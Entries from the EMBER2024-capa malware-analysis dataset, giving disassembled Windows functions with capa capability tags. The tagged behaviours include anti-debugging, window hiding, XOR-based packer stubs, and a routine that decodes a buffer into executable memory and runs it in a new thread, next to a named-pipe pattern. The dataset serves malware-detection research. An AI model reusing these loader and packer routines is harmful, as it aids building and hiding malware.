joyce8/EMBER2024-capa huggingface dataset:
Function at 0x45f288
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x498be0]
cmp dword [eax + 0x30], 0
je 0x45f332
cmp dword [ebx + 0x94], 0
jne 0x45f32c
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x45f218
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x45f32c
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x45f2f2
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x45f32c
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.00418294
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x45f301
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x45fe94
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x45fec9
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00404138
jmp 0x45fed6
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.0040409c
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x460f38
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x460f79
mov eax, esi
call fcn.00447078
test al, al
je 0x460f79
mov eax, dword [ebx + 0x84]
call fcn.00446d74
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x460f79
push 0
mov eax, dword [ebx + 0x84]
call fcn.00446d74
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret
Function at 0x461c38
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x48], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
lea eax, [ebp - 0x10]
mov edx, dword [0x41526c]
call fcn.004049e0
xor eax, eax
push ebp
push 0x461d7c
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x492eb8], 0
jne 0x461c8b
mov ecx, dword [0x497110]
mov dl, 1
mov eax, dword [0x4072e0]
call fcn.0040bce8
call fcn.00403a84
lea eax, [ebp - 0x20]
xor ecx, ecx
mov edx, 0x10
call fcn.00402ce8
mov eax, ebx
call fcn.004048b0
mov dword [ebp - 0x1c], eax
push esi
push edi
mov esi, 0x461d8c
lea edi, [ebp - 0x30]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop edi
pop esi
lea eax, [ebp - 0x30]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0xc]
call fcn.00405964
xor eax, eax
mov dword [ebp - 8], eax
mov eax, ebx
call fcn.004048c0
test eax, eax
jle 0x461d23
mov dword [ebp - 4], 0x10
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x40]
push eax
call sub.kernel32.dll_GetComputerNameA
test eax, eax
je 0x461d1c
lea eax, [ebp - 0x44]
mov edx, ebx
call fcn.004042d0
mov eax, dword [ebp - 0x44]
push eax
lea eax, [ebp - 0x48]
lea edx, [ebp - 0x40]
mov ecx, 0x10
call fcn.004042b8
mov eax, dword [ebp - 0x48]
pop edx
call fcn.00408174
test eax, eax
jne 0x461d1c
mov ebx, 0x15
jmp 0x461d28
mov ebx, 0x10
jmp 0x461d28
mov ebx, 0x15
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 0x20]
push eax
push ebx
push 0
push esi
call dword [0x492eb8]
call fcn.00461b90
mov eax, dword [ebp - 8]
call fcn.00461b90
mov eax, edi
mov edx, dword [ebp - 0xc]
call fcn.0040597c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x461d83
lea eax, [ebp - 0x48]
mov edx, 2
call fcn.0040406c
lea eax, [ebp - 0x10]
mov edx, dword [0x41526c]
call fcn.00404ab0
ret
Function at 0x46bb68
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 0x14], 0xca
jne 0x46bb96
mov eax, ebx
call fcn.0046c61c
cmp dword [ebx + 0x40], 0
je 0x46bb8f
mov dword [ebx + 0x14], 0xcf
mov eax, 1
pop ebx
ret
mov dword [ebx + 0x14], 0xcb
cmp dword [ebx + 0x14], 0xcb
jne 0x46bc07
mov edx, dword [ebx + 0x1b4]
cmp dword [edx + 0x10], 0
je 0x46bbf9
cmp dword [ebx + 8], 0
je 0x46bbb8
mov eax, ebx
mov edx, dword [eax + 8]
call dword [edx]
mov eax, ebx
mov edx, dword [eax + 0x1b4]
call dword [edx]
test eax, eax
jne 0x46bbca
xor eax, eax
pop ebx
ret
cmp eax, 2
je 0x46bbf9
cmp dword [ebx + 8], 0
je 0x46bbab
cmp eax, 3
je 0x46bbdd
dec eax
jne 0x46bbab
mov edx, dword [ebx + 8]
inc dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ebx + 8]
cmp ecx, dword [eax + 8]
jl 0x46bbab
mov edx, dword [ebx + 0x140]
add dword [eax + 8], edx
jmp 0x46bbab
mov ecx, dword [ebx + 0x90]
mov dword [ebx + 0x98], ecx
jmp 0x46bc25
cmp dword [ebx + 0x14], 0xcc
je 0x46bc25
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x14
mov edx, dword [ebx + 0x14]
mov dword [eax + 0x18], edx
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov eax, ebx
call fcn.0046bc30
pop ebx
ret

Function at 0x484414
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebx
push esi
push edi
mov ebx, eax
push ebp
push ecx
mov esi, dword [ebx + 0x2c]
mov edi, dword [ebx + 0x3c]
sub edi, dword [ebx + 0x74]
sub edi, dword [ebx + 0x6c]
jmp 0x484443
mov eax, dword [ebx + 0x2c]
sub eax, 0x106
add eax, esi
cmp eax, dword [ebx + 0x6c]
ja 0x4844c2
push esi
mov eax, dword [ebx + 0x38]
mov edx, eax
mov ebp, esi
add edx, ebp
push edx
push eax
call fcn.00482cd0
add esp, 0xc
sub dword [ebx + 0x70], esi
sub dword [ebx + 0x6c], esi
sub dword [ebx + 0x5c], ebp
mov eax, dword [ebx + 0x4c]
mov edx, eax
add edx, edx
add edx, dword [ebx + 0x44]
sub edx, 2
movzx ecx, word [edx]
mov dword [esp], ecx
cmp esi, dword [esp]
ja 0x484490
mov cx, word [esp]
sub cx, si
jmp 0x484492
xor ecx, ecx
mov word [edx], cx
dec eax
jne 0x484479
mov eax, esi
mov edx, eax
add edx, edx
add edx, dword [ebx + 0x40]
sub edx, 2
movzx ecx, word [edx]
mov dword [esp], ecx
cmp esi, dword [esp]
ja 0x4844b8
mov cx, word [esp]
sub cx, si
jmp 0x4844ba
xor ecx, ecx
mov word [edx], cx
dec eax
jne 0x4844a1
add edi, esi
mov ebp, dword [ebx]
cmp dword [ebp + 4], 0
je 0x48451f
mov edx, dword [ebx + 0x38]
mov ecx, edi
add edx, dword [ebx + 0x6c]
mov eax, ebp
add edx, dword [ebx + 0x74]
call fcn.004840e8
add dword [ebx + 0x74], eax
cmp dword [ebx + 0x74], 3
jb 0x48450a
mov eax, dword [ebx + 0x38]
mov edx, dword [ebx + 0x6c]
movzx eax, byte [eax + edx]
mov dword [ebx + 0x48], eax
mov ecx, dword [ebx + 0x58]
shl eax, cl
mov edx, dword [ebx + 0x38]
mov ecx, dword [ebx + 0x6c]
movzx edx, byte [edx + ecx + 1]
xor eax, edx
and eax, dword [ebx + 0x54]
mov dword [ebx + 0x48], eax
cmp dword [ebx + 0x74], 0x106
jae 0x48451f
mov eax, dword [ebx]
cmp dword [eax + 4], 0
jne 0x48441e
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x48aa54
Capabilities:
Hash data with crc32

Disassembly:
push ebx
push esi
xor esi, esi
mov ecx, 0x498cc0
mov eax, esi
mov edx, 8
mov ebx, eax
and ebx, 1
test bl, bl
je 0x48aa76
shr eax, 1
xor eax, 0xedb88320
jmp 0x48aa78
shr eax, 1
dec edx
jne 0x48aa64
mov dword [ecx], eax
inc esi
add ecx, 4
cmp esi, 0x100
jne 0x48aa5d
mov byte [0x4990c0], 1
pop esi
pop ebx
ret

Function at 0x48aa94
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
cmp byte [0x4990c0], 0
jne 0x48aaab
call fcn.0048aa54
mov eax, edi
dec eax
test eax, eax
jl 0x48aad4
inc eax
xor edx, edx
xor ecx, ecx
mov cl, byte [esi + edx]
xor ecx, ebx
and ecx, 0xff
mov ecx, dword [ecx*4 + 0x498cc0]
shr ebx, 8
xor ecx, ebx
mov ebx, ecx
inc edx
dec eax
jne 0x48aab5
mov eax, ebx
pop edi
pop esi
pop ebx
ret
Function at 0x48d534
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff8
mov ebx, eax
xor eax, eax
mov al, byte [ebx + 0x48]
mov eax, dword [ebx + eax*4 + 0x40]
mov al, byte [eax]
dec al
je 0x48d565
dec al
je 0x48d5a1
dec al
je 0x48d5e5
dec al
je 0x48d650
jmp 0x48d6da
mov esi, dword [ebx + 0x24]
inc esi
mov edi, dword [ebx + 0x20]
sub edi, esi
jb 0x48d6da
inc edi
mov edx, esi
sub edx, dword [ebx + 0x24]
xor ecx, ecx
mov cl, byte [ebx + 0x48]
mov ecx, dword [ebx + ecx*4 + 0x40]
mov dl, byte [ecx + edx]
xor eax, eax
mov al, byte [ebx + 0x48]
mov eax, dword [ebx + eax*4 + 0x40]
add dl, byte [eax + esi]
and dl, 0xff
mov byte [eax + esi], dl
inc esi
dec edi
jne 0x48d575
jmp 0x48d6da
mov edi, dword [ebx + 0x20]
test edi, edi
jbe 0x48d6da
mov esi, 1
mov al, byte [ebx + 0x48]
mov edx, eax
xor dl, 1
and edx, 0x7f
mov edx, dword [ebx + edx*4 + 0x40]
mov dl, byte [edx + esi]
and eax, 0x7f
mov eax, dword [ebx + eax*4 + 0x40]
add dl, byte [eax + esi]
and dl, 0xff
xor eax, eax
mov al, byte [ebx + 0x48]
mov eax, dword [ebx + eax*4 + 0x40]
mov byte [eax + esi], dl
inc esi
dec edi
jne 0x48d5b1
jmp 0x48d6da
mov edi, dword [ebx + 0x20]
test edi, edi
jbe 0x48d6da
mov esi, 1
mov al, byte [ebx + 0x48]
xor al, 1
and eax, 0x7f
mov eax, dword [ebx + eax*4 + 0x40]
movzx eax, byte [eax + esi]
mov ecx, esi
dec ecx
mov edx, dword [ebx + 0x24]
cmp ecx, edx
jae 0x48d613
xor ebp, ebp
jmp 0x48d624
mov ecx, esi
sub ecx, edx
xor edx, edx
mov dl, byte [ebx + 0x48]
mov edx, dword [ebx + edx*4 + 0x40]
movzx ebp, byte [edx + ecx]
add eax, ebp
sar eax, 1
jns 0x48d62d
adc eax, 0
xor edx, edx
mov dl, byte [ebx + 0x48]
mov edx, dword [ebx + edx*4 + 0x40]
add al, byte [edx + esi]
and al, 0xff
xor edx, edx
mov dl, byte [ebx + 0x48]
mov edx, dword [ebx + edx*4 + 0x40]
mov byte [edx + esi], al
inc esi
dec edi
jne 0x48d5f5
jmp 0x48d6da
xor ebp, ebp
xor eax, eax
mov dword [esp + 4], eax
mov edi, dword [ebx + 0x20]
test edi, edi
jbe 0x48d6da
mov esi, 1
mov al, byte [ebx + 0x48]
xor al, 1
and eax, 0x7f
mov eax, dword [ebx + eax*4 + 0x40]
movzx eax, byte [eax + esi]
mov edx, esi
dec edx
cmp edx, dword [ebx + 0x24]
jb 0x48d6a8
mov edx, esi
sub edx, dword [ebx + 0x24]
xor ecx, ecx
mov cl, byte [ebx + 0x48]
mov ecx, dword [ebx + ecx*4 + 0x40]
movzx ebp, byte [ecx + edx]
mov dl, byte [ebx + 0x48]
xor dl, 1
and edx, 0x7f
mov edx, dword [ebx + edx*4 + 0x40]
mov ecx, esi
sub ecx, dword [ebx + 0x24]
movzx edx, byte [edx + ecx]
mov dword [esp + 4], edx
xor edx, edx
mov dl, byte [ebx + 0x48]
mov edx, dword [ebx + edx*4 + 0x40]
movzx edx, byte [edx + esi]
mov dword [esp], edx
mov cl, byte [esp + 4]
push eax
mov eax, ebp
pop edx
call fcn.0048aadc
add al, byte [esp]
and al, 0xff
xor edx, edx
mov dl, byte [ebx + 0x48]
mov edx, dword [ebx + edx*4 + 0x40]
mov byte [edx + esi], al
inc esi
dec edi
jne 0x48d664
pop ecx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x431003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..text
nop
mov ebx, 0x40915c
nop
nop
mov ecx, 0xb0b0e93
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43104e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x431024
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f3f8
nop
mov ecx, 0x42da4c6c
nop
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x431084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43106c
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x6bac1440
Capabilities:
Connect pipe
Create pipe
Write file on windows
Write pipe

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x3c
mov edi, dword [ebp + 8]
mov esi, dword [ebp + 0xc]
mov dword [ebp - 0x1c], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], 2
mov dword [esp], 0x6bac53c0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov ebx, eax
dec eax
sub esp, 0x20
cmp eax, 0xfffffffd
ja 0x6bac14fd
mov dword [esp + 4], 0
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
push edx
push edx
test eax, eax
je 0x6bac14fd
test esi, esi
jle 0x6bac14e8
lea eax, [ebp - 0x1c]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov dword [esp + 8], esi
mov dword [esp + 4], edi
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esp, 0x14
test eax, eax
jne 0x6bac14f4
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
jmp 0x6bac14fd
mov eax, dword [ebp - 0x1c]
add edi, eax
sub esi, eax
jmp 0x6bac14bd
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x6bac1524
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x3c
mov edi, dword [ebp + 8]
mov esi, dword [ebp + 0xc]
mov dword [ebp - 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 3
mov dword [esp + 4], 0x80000000
mov dword [esp], 0x6bac53c0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
sub esp, 0x1c
xor eax, eax
cmp ebx, 0xffffffff
je 0x6bac15c8
test esi, esi
jle 0x6bac15ae
lea eax, [ebp - 0x1c]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov dword [esp + 8], esi
mov dword [esp + 4], edi
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
sub esp, 0x14
test eax, eax
jne 0x6bac15bf
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
mov eax, 1
jmp 0x6bac15c8
mov eax, dword [ebp - 0x1c]
add edi, eax
sub esi, eax
jmp 0x6bac1583
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x6bac1629
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x26aa
xor edx, edx
mov dword [esp + 0x28], 0x5c
div ecx
mov dword [esp + 0x24], 0x65
mov dword [esp + 0x20], 0x70
mov dword [esp + 0x1c], 0x69
mov dword [esp + 0x18], 0x70
mov dword [esp + 0x14], 0x5c
mov dword [esp + 0x10], 0x2e
mov dword [esp + 0xc], 0x5c
mov dword [esp + 8], 0x5c
mov dword [esp + 4], str._c_c_c_c_c_c_c_c_cMSSE__d_server
mov dword [esp], 0x6bac53c0
mov dword [esp + 0x2c], edx
call sub.msvcrt.dll_sprintf
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x6bac1505
mov dword [esp + 4], 0
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp + 8], 0
sub esp, 0x18
leave
jmp fcn.6bac15d0
Function at 0x6bac16fb
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
cmp dword [ebp + 0xc], 1
jne 0x6bac1747
mov eax, dword [ebp + 8]
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [0x6bac5400], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x6bac16e4
mov dword [esp + 4], 0
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
sub esp, 0x18
leave
mov eax, 1
ret 0xc

Function at 0x6bac17b8
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x30
mov ebx, dword [ebp + 0xc]
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0x3000
mov dword [esp + 4], ebx
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
sub esp, 0x10
xor eax, eax
cmp eax, ebx
jge 0x6bac1806
mov ecx, dword [ebp + 0x10]
mov edx, eax
and edx, 3
mov dl, byte [ecx + edx]
mov ecx, dword [ebp + 8]
xor dl, byte [ecx + eax]
mov byte [esi + eax], dl
inc eax
jmp 0x6bac17eb
mov dword [esp], esi
call fcn.6bac1785
lea eax, [ebp - 0xc]
mov dword [esp], esi
mov dword [esp + 4], ebx
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x20
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
mov dword [esp + 0xc], esi
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 8], 0x6bac177c
mov dword [esp + 4], 0
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
sub esp, 0x18
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret

Function at 0x6bac1b80
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call fcn.6bac27c0
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov dword [esp], 2
call fcn.6bac27c0
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]
Function at 0x6bac1be0
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x6bac5378]
test esi, esi
jle 0x6bac1ce0
mov eax, dword [0x6bac537c]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp edx, ebx
ja 0x6bac1c10
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x6bac1c8f
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x6bac1c00
mov dword [esp], ebx
call fcn.6bac2330
mov edi, eax
test eax, eax
je 0x6bac1d07
mov eax, dword [0x6bac537c]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call fcn.6bac2440
mov edx, dword [0x6bac537c]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x6bac1ce7
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x6bac1c88
sub eax, 4
and eax, 0xfffffffb
jne 0x6bac1c96
add dword [0x6bac5378], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0x20]
add ebx, dword [0x6bac537c]
mov dword [ebx + 4], eax
mov dword [ebx + 8], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], 0x40
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x6bac1c88
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.6bac1b80
xor esi, esi
jmp 0x6bac1c1a
mov eax, dword [0x6bac537c]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.6bac1b80
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call fcn.6bac1b80
lea esi, [esi]
nop

Function at 0x6bac1fa0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x6bac5388
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x6bac5380]
sub esp, 4
test ebx, ebx
je 0x6bac1ff5
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x6bac1fee
test esi, esi
je 0x6bac1fee
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x6bac1fd0
mov dword [esp], 0x6bac5388
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x402706
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 0xc]
push esi
imul eax, eax, 0x61c88647
mov esi, dword [esp + 0xc]
test eax, eax
mov edx, dword [esi]
mov ecx, dword [esi + 4]
je 0x40276e
mov esi, dword [esp + 8]
push ebx
push edi
mov edi, edx
mov ebx, edx
sar edi, 5
shl ebx, 4
xor edi, ebx
mov ebx, eax
sar ebx, 0xb
and ebx, 3
add edi, dword [esi + ebx*4]
mov ebx, eax
xor ebx, edx
add eax, 0x61c88647
add edi, ebx
sub ecx, edi
mov edi, ecx
mov ebx, ecx
sar edi, 5
shl ebx, 4
xor edi, ebx
mov ebx, eax
and ebx, 3
add edi, dword [esi + ebx*4]
mov ebx, eax
xor ebx, ecx
add edi, ebx
sub edx, edi
test eax, eax
jne 0x402724
mov esi, dword [esp + 0x14]
pop edi
pop ebx
mov dword [esi], edx
mov dword [esi + 4], ecx
pop esi
ret

Function at 0x401000
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
mov ebp, esp
add esp, 0xfffffffc
push esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [0x4033ec], eax
mov eax, dword [ebp + 4]
mov dword [0x40321d], eax
xor eax, eax
mov ecx, 0x16
push eax
dec ecx
jne 0x401020
call dword [sym.imp.COMCTL32.dll_InitCommonControls]
push 0x7f00
push esi
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [ebp - 0x5c]
push ecx
mov eax, 0x30
mov dword [ecx], eax
mov eax, dword [0x40321d]
mov dword [ebp - 0x48], eax
mov eax, 0x4016dc
mov dword [ebp - 0x54], eax
mov ecx, str.Hello
mov dword [ebp - 0x34], ecx
call dword [sym.imp.USER32.dll_RegisterClassExA]
xor ecx, ecx
push ecx
push dword [0x40321d]
push ecx
push ecx
push 0x12e
push 0x7a
push 0x34c
push 0x2aa
push 0x40000
lea eax, str.lukifas
push eax
mov eax, str.Hello
push eax
push ecx
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov dword [0x403438], eax
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [0x403438]
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
xor ebx, ebx
lea edi, [ebp - 0x50]
jmp 0x4010bc
push edi
call dword [sym.imp.USER32.dll_DispatchMessageA]
push ebx
push ebx
push ebx
push edi
call dword [sym.imp.USER32.dll_GetMessageA]
test al, al
jne 0x4010b5
mov esp, ebp
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x408f6c
nop
mov ecx, 0x18f53171
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43004e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x430024
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e3d0
nop
mov ecx, 0x63a6766e
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x430084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
nop
nop
nop
nop
pop eax
nop
add eax, 0x403ac5
sub eax, 0x403a6b
nop
nop
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x42e030
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x42e01e
nop
nop
nop
popal
nop
nop
nop
nop
jmp loc.00401219